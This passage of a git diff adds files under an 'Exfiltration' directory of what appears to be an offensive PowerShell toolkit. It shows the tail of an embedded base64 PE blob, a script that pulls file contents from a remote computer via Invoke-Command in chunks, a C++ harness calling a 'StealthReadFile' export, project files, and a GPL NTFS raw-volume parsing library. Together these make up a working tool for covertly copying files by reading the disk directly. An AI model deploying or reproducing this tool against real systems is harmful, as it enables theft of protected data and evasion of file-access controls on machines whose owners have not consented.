AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + [UInt64]$Offset = 0 + + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + if ($PsCmdlet.ParameterSetName -ieq "LocalDest") + { + $RemoteDestination = $LocalDestination #More efficient when using $RemoteDestination, only opens read handle once + } + + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes32, $PEBytes64, $Path, $RemoteDestination, $BufferSize, $Offset) + } + else + { + if ($PsCmdlet.ParameterSetName -ieq "LocalDest") + { + $RemoteDestination = $null + } + + #If localdestination, loop and increment offset until the entire file is read + do + { + $Result = Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes32, $PEBytes64, $Path, $RemoteDestination, $BufferSize, $Offset) -ComputerName $ComputerName + if ($Result -eq $null) + { + return $null + } + $BytesLeft = $Result.BytesLeft + + $FileStream = New-Object System.IO.FileStream $LocalDestination,([System.IO.FileMode]::Append) + $FileStream.Seek(0, [System.IO.SeekOrigin]::End) | Out-Null + $FileStream.Write($Result.Bytes, 0, $Result.BytesRead) | Out-Null + $FileStream.Flush() | Out-Null + $FileStream.Dispose() | Out-Null + $FileStream = $null + + $Offset += $Result.BytesRead + + Write-Verbose "Copied $Offset bytes. $BytesLeft Bytes remaining" + } while ($Result.BytesLeft -gt 0) + } +} + +Main + +[GC]::Collect() +[GC]::Collect() +} \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser.sln b/Exfiltration/NTFSParser/NTFSParser.sln new file mode 100644 index 00000000..0bdac2e3 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64 + {5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS.h b/Exfiltration/NTFSParser/NTFSParser/NTFS.h new file mode 100644 index 00000000..ef6117bd --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS.h @@ -0,0 +1,28 @@ +/* + * NTFS include files + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_H_CYB70289 +#define __NTFS_H_CYB70289 + +#pragma pack(8) + +#include "NTFS_Common.h" +#include "NTFS_FileRecord.h" +#include "NTFS_Attribute.h" + +#pragma pack() + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp new file mode 100644 index 00000000..843631b8 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp @@ -0,0 +1,49 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 + +#include "stdafx.h" +#include "NTFS.h" +#include "NTFS_Attribute.h" +#include "NTFS_Common.h" +#include "NTFS_DataType.h" +#include "NTFS_FileRecord.h" + +using namespace std; + +typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*); + +int _tmain(int argc, _TCHAR* argv[]) +{ + HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll"); + HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile"); + + StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress; + + DWORD buffSize = 1024*1024; + BYTE* buffer = new BYTE[buffSize]; + DWORD bytesRead = 0; + ULONGLONG bytesLeft = 0; + DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft); + + cout << "Return value: " << ret << endl; + + ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary); + myFile.write((char*)buffer, bytesRead); + + return 0; +} + diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj new file mode 100644 index 00000000..e48d6502 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj @@ -0,0 +1,165 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {2F38A7A9-D810-451B-BB19-273770AF4D25} + Win32Proj + NTFSParser + + + + Application + true + v110 + NotSet + + + Application + true + v110 + NotSet + + + Application + false + v110 + true + Unicode + + + Application + false + v110 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + + + Console + true + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + + + Console + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters new file mode 100644 index 00000000..db46161c --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters @@ -0,0 +1,51 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h b/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h new file mode 100644 index 00000000..19ab7ce2 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h @@ -0,0 +1,1663 @@ +/* + * NTFS Attribute Classes + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_ATTRIBUTE_H_CYB70289 +#define __NTFS_ATTRIBUTE_H_CYB70289 + + +//////////////////////////////// +// List to hold parsed DataRuns +//////////////////////////////// +typedef struct tagDataRun_Entry +{ + LONGLONG LCN; // -1 to indicate sparse data + ULONGLONG Clusters; + ULONGLONG StartVCN; + ULONGLONG LastVCN; +} DataRun_Entry; +typedef class CSList CDataRunList; + +//////////////////////////////////// +// List to hold Index Entry objects +//////////////////////////////////// +class CIndexEntry; +typedef class CSList CIndexEntryList; + + +//////////////////////////////// +// Attributes base class +//////////////////////////////// +class CAttrBase +{ +public: + CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrBase(); + +protected: + const ATTR_HEADER_COMMON *AttrHeader; + WORD _SectorSize; + DWORD _ClusterSize; + DWORD _IndexBlockSize; + HANDLE _hVolume; + const CFileRecord *FileRecord; + +public: + __inline const ATTR_HEADER_COMMON* GetAttrHeader() const; + __inline DWORD GetAttrType() const; + __inline DWORD GetAttrTotalSize() const; + __inline BOOL IsNonResident() const; + __inline WORD GetAttrFlags() const; + int GetAttrName(char *buf, DWORD bufLen) const; + int GetAttrName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL IsUnNamed() const; + +protected: + virtual __inline BOOL IsDataRunOK() const = 0; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const = 0; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const = 0; +}; // CAttrBase + +CAttrBase::CAttrBase(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) +{ + _ASSERT(ahc); + _ASSERT(fr); + + AttrHeader = ahc; + FileRecord = fr; + + _SectorSize = fr->Volume->SectorSize; + _ClusterSize = fr->Volume->ClusterSize; + _IndexBlockSize = fr->Volume->IndexBlockSize; + _hVolume = fr->Volume->hVolume; +} + +CAttrBase::~CAttrBase() +{ +} + +__inline const ATTR_HEADER_COMMON* CAttrBase::GetAttrHeader() const +{ + return AttrHeader; +} + +__inline DWORD CAttrBase::GetAttrType() const +{ + return AttrHeader->Type; +} + +__inline DWORD CAttrBase::GetAttrTotalSize() const +{ + return AttrHeader->TotalSize; +} + +__inline BOOL CAttrBase::IsNonResident() const +{ + return AttrHeader->NonResident; +} + +__inline WORD CAttrBase::GetAttrFlags() const +{ + return AttrHeader->Flags; +} + +// Get ANSI Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(char *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + int len = WideCharToMultiByte(CP_ACP, 0, namePtr, AttrHeader->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("Attribute name: %s\n", buf); + return len; + } + else + { + NTFS_TRACE("Unrecognized attribute name or Name buffer too small\n"); + return -1*AttrHeader->NameLength; + } + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Get UNICODE Attribute name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CAttrBase::GetAttrName(wchar_t *buf, DWORD bufLen) const +{ + if (AttrHeader->NameLength) + { + if (bufLen < AttrHeader->NameLength) + return -1*AttrHeader->NameLength; // buffer too small + + bufLen = AttrHeader->NameLength; + wchar_t *namePtr = (wchar_t*)((BYTE*)AttrHeader + AttrHeader->NameOffset); + wcsncpy(buf, namePtr, bufLen); + buf[bufLen] = '\0\0'; + + NTFS_TRACE("Unicode Attribute Name\n"); + return bufLen; + } + else + { + NTFS_TRACE("Attribute is unnamed\n"); + return 0; + } +} + +// Verify if this attribute is unnamed +// Useful in analyzing MultiStream files +__inline BOOL CAttrBase::IsUnNamed() const +{ + return (AttrHeader->NameLength == 0); +} + + +//////////////////////////////// +// Resident Attributes +//////////////////////////////// +class CAttrResident : public CAttrBase +{ +public: + CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrResident(); + +protected: + const ATTR_HEADER_RESIDENT *AttrHeaderR; + const void *AttrBody; // Points to Resident Data + DWORD AttrBodySize; // Attribute Data Size + + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrResident + +CAttrResident::CAttrResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderR = (ATTR_HEADER_RESIDENT*)ahc; + AttrBody = (void*)((BYTE*)AttrHeaderR + AttrHeaderR->AttrOffset); + AttrBodySize = AttrHeaderR->AttrSize; +} + +CAttrResident::~CAttrResident() +{ +} + +__inline BOOL CAttrResident::IsDataRunOK() const +{ + return TRUE; // Always OK for a resident attribute +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrBodySize; + + return (ULONGLONG)AttrBodySize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + DWORD offsetd = (DWORD)offset; + if (offsetd >= AttrBodySize) + return FALSE; // offset parameter error + + if ((offsetd + bufLen) > AttrBodySize) + *actural = AttrBodySize - offsetd; // Beyond scope + else + *actural = bufLen; + + memcpy(bufv, (BYTE*)AttrBody + offsetd, *actural); + + return TRUE; +} + + +//////////////////////////////// +// NonResident Attributes +//////////////////////////////// +class CAttrNonResident : public CAttrBase +{ +public: + CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttrNonResident(); + +protected: + const ATTR_HEADER_NON_RESIDENT *AttrHeaderNR; + CDataRunList DataRunList; + +private: + BOOL bDataRunOK; + BYTE *UnalignedBuf; // Buffer to hold not cluster aligned data + BOOL PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset); + BOOL ParseDataRun(); + BOOL ReadClusters(void *buf, DWORD clusters, LONGLONG lcn); + BOOL ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural); + +protected: + virtual __inline BOOL IsDataRunOK() const; + +public: + virtual __inline ULONGLONG GetDataSize(ULONGLONG *allocSize = NULL) const; + virtual BOOL ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const; +}; // CAttrNonResident + +CAttrNonResident::CAttrNonResident(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrBase(ahc, fr) +{ + AttrHeaderNR = (ATTR_HEADER_NON_RESIDENT*)ahc; + + UnalignedBuf = new BYTE[_ClusterSize]; + + bDataRunOK = ParseDataRun(); +} + +CAttrNonResident::~CAttrNonResident() +{ + delete UnalignedBuf; + + DataRunList.RemoveAll(); +} + +// Parse a single DataRun unit +BOOL CAttrNonResident::PickData(const BYTE **dataRun, LONGLONG *length, LONGLONG *LCNOffset) +{ + BYTE size = **dataRun; + (*dataRun)++; + int lengthBytes = size & 0x0F; + int offsetBytes = size >> 4; + + if (lengthBytes > 8 || offsetBytes > 8) + { + NTFS_TRACE1("DataRun decode error 1: 0x%02X\n", size); + return FALSE; + } + + *length = 0; + memcpy(length, *dataRun, lengthBytes); + if (*length < 0) + { + NTFS_TRACE1("DataRun length error: %I64d\n", *length); + return FALSE; + } + + (*dataRun) += lengthBytes; + *LCNOffset = 0; + if (offsetBytes) // Not Sparse File + { + if ((*dataRun)[offsetBytes-1] & 0x80) + *LCNOffset = -1; + memcpy(LCNOffset, *dataRun, offsetBytes); + + (*dataRun) += offsetBytes; + } + + return TRUE; +} + +// Travers DataRun and insert into a link list +BOOL CAttrNonResident::ParseDataRun() +{ + NTFS_TRACE("Parsing Non Resident DataRun\n"); + NTFS_TRACE2("Start VCN = %I64u, End VCN = %I64u\n", + AttrHeaderNR->StartVCN, AttrHeaderNR->LastVCN); + + const BYTE *dataRun = (BYTE*)AttrHeaderNR + AttrHeaderNR->DataRunOffset; + LONGLONG length; + LONGLONG LCNOffset; + LONGLONG LCN = 0; + ULONGLONG VCN = 0; + + while (*dataRun) + { + if (PickData(&dataRun, &length, &LCNOffset)) + { + LCN += LCNOffset; + if (LCN < 0) + { + NTFS_TRACE("DataRun decode error 2\n"); + return FALSE; + } + + NTFS_TRACE2("Data length = %I64d clusters, LCN = %I64d", length, LCN); + NTFS_TRACE(LCNOffset == 0 ? ", Sparse Data\n" : "\n"); + + // Store LCN, Data size (clusters) into list + DataRun_Entry *dr = new DataRun_Entry; + dr->LCN = (LCNOffset == 0) ? -1 : LCN; + dr->Clusters = length; + dr->StartVCN = VCN; + VCN += length; + dr->LastVCN = VCN - 1; + + if (dr->LastVCN <= (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN)) + { + DataRunList.InsertEntry(dr); + } + else + { + NTFS_TRACE("DataRun decode error: VCN exceeds bound\n"); + + // Remove entries + DataRunList.RemoveAll(); + + return FALSE; + } + } + else + break; + } + + return TRUE; +} + +// Read clusters from disk, or sparse data +// *actural = Clusters acturally read +BOOL CAttrNonResident::ReadClusters(void *buf, DWORD clusters, LONGLONG lcn) +{ + if (lcn == -1) // sparse data + { + NTFS_TRACE("Sparse Data, Fill the buffer with 0\n"); + + // Fill the buffer with 0 + memset(buf, 0, clusters * _ClusterSize); + + return TRUE; + } + + LARGE_INTEGER addr; + DWORD len; + + addr.QuadPart = lcn * _ClusterSize; + len = SetFilePointer(_hVolume, addr.LowPart, &addr.HighPart, FILE_BEGIN); + + if (len == (DWORD)-1 && GetLastError() != NO_ERROR) + { + NTFS_TRACE1("Cannot locate cluster with LCN %I64d\n", lcn); + } + else + { + if (ReadFile(_hVolume, buf, clusters*_ClusterSize, &len, NULL) && + len == clusters*_ClusterSize) + { + NTFS_TRACE2("Successfully read %u clusters from LCN %I64d\n", clusters, lcn); + return TRUE; + } + else + { + NTFS_TRACE1("Cannot read cluster with LCN %I64d\n", lcn); + } + } + + return FALSE; +} + +// Read Data, cluster based +// clusterNo: Begnning cluster Number +// clusters: Clusters to read +// bufv, bufLen: Returned data +// *actural = Number of bytes acturally read +BOOL CAttrNonResident::ReadVirtualClusters(ULONGLONG vcn, DWORD clusters, + void *bufv, DWORD bufLen, DWORD *actural) +{ + _ASSERT(bufv); + _ASSERT(clusters); + + *actural = 0; + BYTE *buf = (BYTE*)bufv; + + // Verify if clusters exceeds DataRun bounds + if (vcn + clusters > (AttrHeaderNR->LastVCN - AttrHeaderNR->StartVCN +1)) + { + NTFS_TRACE("Cluster exceeds DataRun bounds\n"); + return FALSE; + } + + // Verify buffer size + if (bufLen < clusters*_ClusterSize) + { + NTFS_TRACE("Buffer size too small\n"); + return FALSE; + } + + // Traverse the DataRun List to find the according LCN + const DataRun_Entry *dr = DataRunList.FindFirstEntry(); + while(dr) + { + if (vcn>=dr->StartVCN && vcn<=dr->LastVCN) + { + DWORD clustersToRead; + + ULONGLONG vcns = dr->LastVCN - vcn + 1; // Clusters from read pointer to the end + + if ((ULONGLONG)clusters > vcns) // Fragmented data, we must go on + clustersToRead = (DWORD)vcns; + else + clustersToRead = clusters; + if (ReadClusters(buf, clustersToRead, dr->LCN+(vcn-dr->StartVCN))) + { + buf += clustersToRead*_ClusterSize; + clusters -= clustersToRead; + *actural += clustersToRead; + vcn += clustersToRead; + } + else + break; + + if (clusters == 0) + break; + } + + dr = DataRunList.FindNextEntry(); + } + + *actural *= _ClusterSize; + return TRUE; +} + +// Judge if the DataRun is successfully parsed +__inline BOOL CAttrNonResident::IsDataRunOK() const +{ + return bDataRunOK; +} + +// Return Actural Data Size +// *allocSize = Allocated Size +__inline ULONGLONG CAttrNonResident::GetDataSize(ULONGLONG *allocSize) const +{ + if (allocSize) + *allocSize = AttrHeaderNR->AllocSize; + + return AttrHeaderNR->RealSize; +} + +// Read "bufLen" bytes from "offset" into "bufv" +// Number of bytes acturally read is returned in "*actural" +BOOL CAttrNonResident::ReadData(const ULONGLONG &offset, void *bufv, DWORD bufLen, DWORD *actural) const +{ + // Hard disks can only be accessed by sectors + // To be simple and efficient, only implemented cluster based accessing + // So cluster unaligned data address should be processed carefully here + + _ASSERT(bufv); + + *actural = 0; + if (bufLen == 0) + return TRUE; + + // Bounds check + if (offset > AttrHeaderNR->RealSize) + return FALSE; + if ((offset + bufLen) > AttrHeaderNR->RealSize) + bufLen = (DWORD)(AttrHeaderNR->RealSize - offset); + + DWORD len; + BYTE *buf = (BYTE*)bufv; + + // First cluster Number + ULONGLONG startVCN = offset / _ClusterSize; + // Bytes in first cluster + DWORD startBytes = _ClusterSize - (DWORD)(offset % _ClusterSize); + // Read first cluster + if (startBytes != _ClusterSize) + { + // First cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + len = (startBytes < bufLen) ? startBytes : bufLen; + memcpy(buf, UnalignedBuf + _ClusterSize - startBytes, len); + buf += len; + bufLen -= len; + *actural += len; + startVCN++; + } + else + return FALSE; + } + if (bufLen == 0) + return TRUE; + + DWORD alignedClusters = bufLen / _ClusterSize; + if (alignedClusters) + { + // Aligned clusters + DWORD alignedSize = alignedClusters*_ClusterSize; + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, alignedClusters, buf, alignedSize, &len) + && len == alignedSize) + { + startVCN += alignedClusters; + buf += alignedSize; + bufLen %= _ClusterSize; + *actural += len; + + if (bufLen == 0) + return TRUE; + } + else + return FALSE; + } + + // Last cluster, Unaligned + if (((CAttrNonResident*)this)->ReadVirtualClusters(startVCN, 1, UnalignedBuf, _ClusterSize, &len) + && len == _ClusterSize) + { + memcpy(buf, UnalignedBuf, bufLen); + *actural += bufLen; + + return TRUE; + } + else + return FALSE; +} + + +/////////////////////////////////// +// Attribute: Standard Information +/////////////////////////////////// +class CAttr_StdInfo : public CAttrResident +{ +public: + CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_StdInfo(); + +private: + const ATTR_STANDARD_INFORMATION *StdInfo; + +public: + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + static void UTC2Local(const ULONGLONG &ultm, FILETIME *lftm); +}; // CAttr_StdInfo + +CAttr_StdInfo::CAttr_StdInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Standard Information\n"); + + StdInfo = (ATTR_STANDARD_INFORMATION*)AttrBody; +} + +CAttr_StdInfo::~CAttr_StdInfo() +{ + NTFS_TRACE("CAttr_StdInfo deleted\n"); +} + +// Change from UTC time to local time +void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + UTC2Local(StdInfo->AlterTime, writeTm); + + if (createTm) + UTC2Local(StdInfo->CreateTime, createTm); + + if (accessTm) + UTC2Local(StdInfo->ReadTime, accessTm); +} + +__inline DWORD CAttr_StdInfo::GetFilePermission() const +{ + return StdInfo->Permission; +} + +__inline BOOL CAttr_StdInfo::IsReadOnly() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_READONLY); +} + +__inline BOOL CAttr_StdInfo::IsHidden() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_HIDDEN); +} + +__inline BOOL CAttr_StdInfo::IsSystem() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SYSTEM); +} + +__inline BOOL CAttr_StdInfo::IsCompressed() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_COMPRESSED); +} + +__inline BOOL CAttr_StdInfo::IsEncrypted() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_ENCRYPTED); +} + +__inline BOOL CAttr_StdInfo::IsSparse() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SPARSE); +} + +// UTC filetime to Local filetime +void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm) +{ + LARGE_INTEGER fti; + FILETIME ftt; + + fti.QuadPart = ultm; + ftt.dwHighDateTime = fti.HighPart; + ftt.dwLowDateTime = fti.LowPart; + + if (!FileTimeToLocalFileTime(&ftt, lftm)) + *lftm = ftt; +} + + +//////////////////////////////////////// +// FileName helper class +// used by FileName and 